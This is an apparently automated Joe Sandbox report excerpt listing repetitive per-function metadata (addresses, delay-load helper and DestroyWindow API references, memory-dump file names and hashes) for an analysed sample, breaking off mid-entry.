Instruction Fuzzy Hash: B4B01291278102FC330863652E03F7E011FC7C8B10330413FF005E51C1E8910D881173

Function 000CF70F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF6FC

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3bdd720d6f841164c97c09deb72d0d1c75061f374aa39283a305ed54a873898e
Instruction ID: 87f4c19d0cfcdeeb42e2c967415ea1e4659b282ac7d6a1726ab4ff90caebd2bf
Opcode Fuzzy Hash: 3bdd720d6f841164c97c09deb72d0d1c75061f374aa39283a305ed54a873898e
Instruction Fuzzy Hash: 44B012913A8102BC330863557F02F7E011EC3D0B10330443FF001D8441E8810D811033

Function 000CF705 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF6FC

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 701bd4383d261ba397b553808b5cda7be404956f764a5f7ddbf6ec3c2cbf12d0
Instruction ID: d808ee547e01b3e6767e4f8af425e6ec06108549a7bfbbe72f033f17b25b6af4
Opcode Fuzzy Hash: 701bd4383d261ba397b553808b5cda7be404956f764a5f7ddbf6ec3c2cbf12d0
Instruction Fuzzy Hash: CAB01291368102BC33086355BE02F7E021EC3D0B10330843FF401D4441E8400C801033

Function 000CF719 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF6FC

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9fe6f11ec019e339cd88b33303b8927e1928cc9d3957d350082e37bb9f8e1f34
Instruction ID: 08f1e13cecf3afe01901abf69a6222be407b68823936f3b14098bb0b297125b1
Opcode Fuzzy Hash: 9fe6f11ec019e339cd88b33303b8927e1928cc9d3957d350082e37bb9f8e1f34
Instruction Fuzzy Hash: 29B01291368102BC330863557E02F7E011EC3D0B10330443FF001D4841E8400C801033

Function 000CF72D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF6FC

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 87f48da4f3e202ac7aa5d1e22a61781ca341d6f0f5a112b9b7bd20881f7a1a98
Instruction ID: cbcc13b4fd0f9cdc4d13e8c82de9081c7afb57be70dedb047f2c00f7374f59df
Opcode Fuzzy Hash: 87f48da4f3e202ac7aa5d1e22a61781ca341d6f0f5a112b9b7bd20881f7a1a98
Instruction Fuzzy Hash: 82B01291368102BC33186355BE02F7E010EC3D0B10330843FF401D9441D8400C841033

Function 000CF723 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF6FC

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 993326289cf059bac77b50e51a1b2c1d4f9356b5f5fd0a949b4b2a692ed15090
Instruction ID: 1f13ac7b376ad95dc8f134b467f7fc63fd278fd4eb1fdf18a4066b0aa1c8884a
Opcode Fuzzy Hash: 993326289cf059bac77b50e51a1b2c1d4f9356b5f5fd0a949b4b2a692ed15090
Instruction Fuzzy Hash: 4EB01291368202BC335863557E02F7E010EC3D0B10330493FF401D4441D8400CC01033

Function 000CFD48 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CFD5A

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 490b152ba00cc9d127ef30e1b3e84164bce867013a5733b060b033ad75cc1e63
Instruction ID: c44c7383899d6d750acbb39d8e5273927655a78e207ce9e3221578675145b47a
Opcode Fuzzy Hash: 490b152ba00cc9d127ef30e1b3e84164bce867013a5733b060b033ad75cc1e63
Instruction Fuzzy Hash: 93B012D1268502BD330823512D02F7E020FC7C0B11330863FF103E404294400D881073

Function 000CA235 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,000CE640,?,?,00000001,?,?,000CC999,000E60F0,00111CF0,00111CF0,00001000,000F30C4,00000000,?), ref: 000CA241

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: DestroyWindow
String ID:
API String ID: 3375834691-0
Opcode ID: 20c5eb64b173983e55459dc8e0584b98518955052ef6f0dcdc94ebb87ee5e133
Instruction ID: 75d3f517bec7855f88a98b667acd199b60de03e2d10c9fb2c555484fa6030852
Opcode Fuzzy Hash: 20c5eb64b173983e55459dc8e0584b98518955052ef6f0dcdc94ebb87ee5e133
Instruction Fuzzy Hash: 27C08C31011B20CBC3360B08EA0878276E0AB04B16F00C81DA09606860C3B0A880CA40

Function 000CF363 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a159d25fc422932c2e1ac387a589f75c5051ac6f5747866398a6a698aa6f0b78
Instruction ID: 45dd87aea856e45f1fae814b2f31d19a778de88d2d7d4be5b345ce05f3f1e9a9
Opcode Fuzzy Hash: a159d25fc422932c2e1ac387a589f75c5051ac6f5747866398a6a698aa6f0b78
Instruction Fuzzy Hash: 4AA001A62A9183BC7A5863627E16E7E022EC6D4B61370892FF50298482A8911A456472

Function 000CF3A9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a29a032472eadcddd5a8d9e28ad8651962ae5d81ae2a96206349ef84c7b462b9
Instruction ID: 45dd87aea856e45f1fae814b2f31d19a778de88d2d7d4be5b345ce05f3f1e9a9
Opcode Fuzzy Hash: a29a032472eadcddd5a8d9e28ad8651962ae5d81ae2a96206349ef84c7b462b9
Instruction Fuzzy Hash: 4AA001A62A9183BC7A5863627E16E7E022EC6D4B61370892FF50298482A8911A456472

Function 000CF3C7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c9ae8919c798da6b1a3302e271dcce8ecf3970f03beb3afc5a65bb384b3b7132
Instruction ID: 45dd87aea856e45f1fae814b2f31d19a778de88d2d7d4be5b345ce05f3f1e9a9
Opcode Fuzzy Hash: c9ae8919c798da6b1a3302e271dcce8ecf3970f03beb3afc5a65bb384b3b7132
Instruction Fuzzy Hash: 4AA001A62A9183BC7A5863627E16E7E022EC6D4B61370892FF50298482A8911A456472

Function 000CF539 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 83c8634b9fb7ed389bd360b4874d531167e1ff9a7c12a38074e62930ee7033c2
Instruction ID: 2d50fe0ac2ddbd814d5a861284110089015832d56e95d72319fa0faaee063678
Opcode Fuzzy Hash: 83c8634b9fb7ed389bd360b4874d531167e1ff9a7c12a38074e62930ee7033c2
Instruction Fuzzy Hash: F4A012D12A40023D310427113E02E7E010EC2D0B50330402FF301D4041584008091032

Function 000CF55E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6d6ebb2b5346ec7c43e84a3bde2afffd36f602c12094d412e1973a26ac316259
Instruction ID: 8bcae4834903ad3441854cbc0446968b18fffe579cec5c7e4dfac8cd2e2d69c8
Opcode Fuzzy Hash: 6d6ebb2b5346ec7c43e84a3bde2afffd36f602c12094d412e1973a26ac316259
Instruction Fuzzy Hash: 54A012D12A80037D310423113D02E7E010DC2C4B90330442FF302C4041584008091032

Function 000CF554 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7a4e314f2807d535c7a4c7f7695fa165a7ea2623f51b623502b1c0ec83073884
Instruction ID: 8bcae4834903ad3441854cbc0446968b18fffe579cec5c7e4dfac8cd2e2d69c8
Opcode Fuzzy Hash: 7a4e314f2807d535c7a4c7f7695fa165a7ea2623f51b623502b1c0ec83073884
Instruction Fuzzy Hash: 54A012D12A80037D310423113D02E7E010DC2C4B90330442FF302C4041584008091032

Function 000CF57C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 873b1e30218b30a8606140ef8f76d0a5b8352996116a8052d1b6c26a40d45ba7
Instruction ID: 8bcae4834903ad3441854cbc0446968b18fffe579cec5c7e4dfac8cd2e2d69c8
Opcode Fuzzy Hash: 873b1e30218b30a8606140ef8f76d0a5b8352996116a8052d1b6c26a40d45ba7
Instruction Fuzzy Hash: 54A012D12A80037D310423113D02E7E010DC2C4B90330442FF302C4041584008091032

Function 000CF586 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b774c9e37774a6920c9f7063a39d182cbe55a4f144dc699d651addb5eb6691e
Instruction ID: 8bcae4834903ad3441854cbc0446968b18fffe579cec5c7e4dfac8cd2e2d69c8
Opcode Fuzzy Hash: 0b774c9e37774a6920c9f7063a39d182cbe55a4f144dc699d651addb5eb6691e
Instruction Fuzzy Hash: 54A012D12A80037D310423113D02E7E010DC2C4B90330442FF302C4041584008091032

Function 000CF590 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b08d01abdb68be55fb287a42bb392c203bf3e1b58e612bc6f2ec19111fd76174
